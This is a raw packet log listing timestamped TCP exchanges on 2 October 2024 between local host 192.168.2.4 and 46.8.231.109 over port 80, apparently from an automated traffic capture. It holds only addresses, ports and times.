Oct 2, 2024 05:20:03.233551979 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.234055996 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.234096050 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.234103918 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.234113932 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.234138012 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.234148979 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.288371086 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.288393021 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.288403988 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.288429976 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.288444996 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.288451910 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.288487911 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.288530111 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.288541079 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.288574934 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.288589001 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.299230099 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.299278021 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.299288034 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.299298048 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.299330950 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.299367905 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.299376965 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.299407005 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.299416065 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.299416065 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.299446106 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.299447060 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.299526930 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.299530029 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.299562931 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.299592018 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.299602985 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.299638033 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.310506105 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.310550928 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.310575008 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.310585022 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.310609102 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.310620070 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.310651064 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.310662031 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.310684919 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.310702085 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.310754061 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.310789108 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.310828924 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.310841084 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.310868025 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.310883045 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.310960054 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.310971022 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.310981035 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.310992956 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.311007023 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.311027050 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.311141014 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.311151981 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.311184883 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.311194897 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.311655998 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.311695099 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.311696053 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.311707020 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.311726093 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.311736107 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.311834097 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.311845064 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.311856985 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.311866999 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.311873913 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.311888933 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.311907053 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.312043905 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.312055111 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.312086105 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.312541962 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.312580109 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.312608957 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.312619925 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.312653065 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.312690020 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.312741041 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.312751055 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.312762022 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.312787056 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.312797070 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.321695089 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.321733952 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.321763992 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.321778059 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.321799994 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.321813107 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.321845055 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.321856022 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.321883917 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.321897030 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.321945906 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.321957111 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.321980000 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.321991920 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.322056055 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.322066069 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.322098017 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.322185040 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.322221041 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.322278976 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.322288990 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.322319031 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.322329998 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.322359085 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.322370052 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.322391033 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.322402954 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.322674036 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.322684050 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.322695971 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.322725058 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.322750092 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.322808981 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.322819948 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.322829962 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.322841883 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.322844982 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.322860003 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.322887897 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.322999954 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.323010921 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.323020935 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.323040962 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.323086977 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.323429108 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.323472023 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.323501110 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.323513985 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.323546886 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.323638916 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.323648930 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.323659897 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.323671103 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.323677063 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.323692083 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.323715925 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.323848963 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.323858976 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.323875904 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.323885918 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.323889971 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.323921919 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.323942900 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.324342012 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.324389935 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.324405909 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.324409008 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.324446917 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.324457884 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.324538946 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.324549913 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.324565887 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.324577093 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.324588060 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.324614048 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.324754000 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.324764967 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.324775934 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.324788094 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.324803114 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.324821949 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.325311899 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.325350046 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.325366974 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.325380087 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.325407982 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.325419903 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.325459003 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.325469971 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.325490952 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.325501919 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.325541019 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.325578928 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.379045963 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.379076004 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.379086971 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.379101992 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.379117966 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.379179001 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.379192114 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.379228115 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.379297972 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.379312992 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.379323959 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.379331112 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.379334927 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.379355907 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.379365921 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.379446030 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.379455090 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.379491091 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.389828920 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.389851093 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.389859915 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.389889956 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.389913082 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.389914036 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.389925003 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.389966011 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.389966011 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.389993906 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.390005112 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.390033960 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.390043974 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.390099049 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.390110016 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.390144110 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.390183926 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.390199900 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.390229940 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.390254021 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.390264034 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.390286922 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.390300035 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.390346050 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.390382051 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.390413046 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.390427113 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.390465975 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.390528917 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.390541077 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.390566111 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.390589952 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.400969982 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.401029110 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.401031971 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.401041985 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.401062965 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.401068926 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.401078939 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.401096106 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.401120901 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.401132107 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.401156902 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.401168108 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.401190996 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.401249886 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.401274920 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.401287079 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.401309013 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.401324987 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.401400089 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.401411057 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.401462078 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.401473045 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.401540995 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.401567936 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.401585102 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.401608944 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.401621103 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.401722908 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.401734114 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.401745081 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.401757002 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.401778936 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.401778936 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.401806116 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.401881933 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.401894093 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.402003050 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.402028084 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.402039051 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.402056932 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.402067900 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.402100086 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.402157068 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.402168036 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.402193069 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.402209044 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.402230978 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.402277946 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.402286053 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.402298927 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.402318954 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.402333975 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.402437925 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.402455091 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.402462006 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.402462959 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.402487040 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.402497053 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.402625084 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.402666092 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.402668953 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.402717113 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.402790070 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.402806044 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.402818918 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.402837992 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.402842045 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.402843952 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.402848959 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.402857065 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.402869940 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.402880907 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.403191090 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.403389931 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.412328005 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.412375927 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.412386894 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.412431955 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.412439108 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.412483931 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.412542105 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.412554026 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.412564993 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.412576914 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.412591934 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.412622929 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.412693024 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.412719011 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.412756920 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.412821054 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.412832975 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.412844896 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.412867069 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.412894964 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.412924051 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.412959099 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.412974119 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.413055897 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.413084030 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.413094997 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.413105011 CEST	80	49775	46.8.231.109	192.168.2.4
